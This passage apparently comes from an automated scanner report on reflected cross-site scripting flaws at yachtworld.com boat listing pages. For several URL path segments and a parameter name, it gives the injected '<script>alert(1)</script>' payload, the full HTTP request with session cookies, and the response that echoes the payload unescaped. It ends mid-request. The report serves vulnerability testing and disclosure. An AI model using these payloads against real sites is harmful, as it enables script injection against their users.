HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:04:30 GMT Server: Apache Cache-Control: private If-Modified-Since: Fri, 10 Dec 2010 20:05:25 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2293873%5B%25%5D32%27+Regulator+32FS+Center+Console%5B%25%5DUSD%26nbsp%3B219%2C000%5B%25%5DBrick%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F9%2F3%2F8%2F2293873_1_mini.jpg%3F1292001735000%5B%25%5D%2Fboats%2F2010%2FRegulator-32FS-Center-Console-2293873%2FBrick%2FNJ%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:04:30 GMT Set-Cookie: VIEWED_BOATS_STORE=2293873%5B%25%5D32%27+Regulator+32FS+Center+Console%5B%25%5DUSD%26nbsp%3B219%2C000%5B%25%5DBrick%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F9%2F3%2F8%2F2293873_1_mini.jpg%3F1292001735000%5B%25%5D%2Fboats%2F2010%2FRegulator-32FS-Center-Console-2293873%2FBrick%2FNJ%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2b018"><script>alert(1)</script>79d1909b0a2 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2010/Regulator-32fs-Center-Console-2293873/Brick/NJ2b018"><script>alert(1)</script>79d1909b0a2/United-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:05:02 GMT Server: Apache Cache-Control: private If-Modified-Since: Fri, 10 Dec 2010 20:05:25 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2293873%5B%25%5D32%27+Regulator+32FS+Center+Console%5B%25%5DUSD%26nbsp%3B219%2C000%5B%25%5DBrick%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F9%2F3%2F8%2F2293873_1_mini.jpg%3F1292001735000%5B%25%5D%2Fboats%2F2010%2FRegulator-32FS-Center-Console-2293873%2FBrick%2FNJ%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:05:02 GMT Set-Cookie: VIEWED_BOATS_STORE=2293873%5B%25%5D32%27+Regulator+32FS+Center+Console%5B%25%5DUSD%26nbsp%3B219%2C000%5B%25%5DBrick%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F9%2F3%2F8%2F2293873_1_mini.jpg%3F1292001735000%5B%25%5D%2Fboats%2F2010%2FRegulator-32FS-Center-Console-2293873%2FBrick%2FNJ%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
<t ...[SNIP]... a rel="nofollow" href="/core/listing/photoGallery.jsp?slim=quick¤cy=USD&units=Feet&seo=0&checked_boats=2293873&boat_id=2293873&back=/core/boats/2010/Regulator-32fs-Center-Console-2293873/Brick/NJ2b018"><script>alert(1)</script>79d1909b0a2/United-States&boat_id=2293873"> ...[SNIP]...
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4bd1b"><script>alert(1)</script>5fb880b10f1 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2010/Regulator-32fs-Center-Console-2293873/Brick/NJ/United-States4bd1b"><script>alert(1)</script>5fb880b10f1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:05:33 GMT Server: Apache Cache-Control: private If-Modified-Since: Fri, 10 Dec 2010 20:05:25 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2293873%5B%25%5D32%27+Regulator+32FS+Center+Console%5B%25%5DUSD%26nbsp%3B219%2C000%5B%25%5DBrick%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F9%2F3%2F8%2F2293873_1_mini.jpg%3F1292001735000%5B%25%5D%2Fboats%2F2010%2FRegulator-32FS-Center-Console-2293873%2FBrick%2FNJ%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:05:33 GMT Set-Cookie: VIEWED_BOATS_STORE=2293873%5B%25%5D32%27+Regulator+32FS+Center+Console%5B%25%5DUSD%26nbsp%3B219%2C000%5B%25%5DBrick%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F9%2F3%2F8%2F2293873_1_mini.jpg%3F1292001735000%5B%25%5D%2Fboats%2F2010%2FRegulator-32FS-Center-Console-2293873%2FBrick%2FNJ%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3.175. http://www.yachtworld.com/boats/2010/Regulator-32fs-Center-Console-2293873/Brick/NJ/United-States [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fba4e"><script>alert(1)</script>3d7e038e9d2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2010/Regulator-32fs-Center-Console-2293873/Brick/NJ/United-States?fba4e"><script>alert(1)</script>3d7e038e9d2=1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DO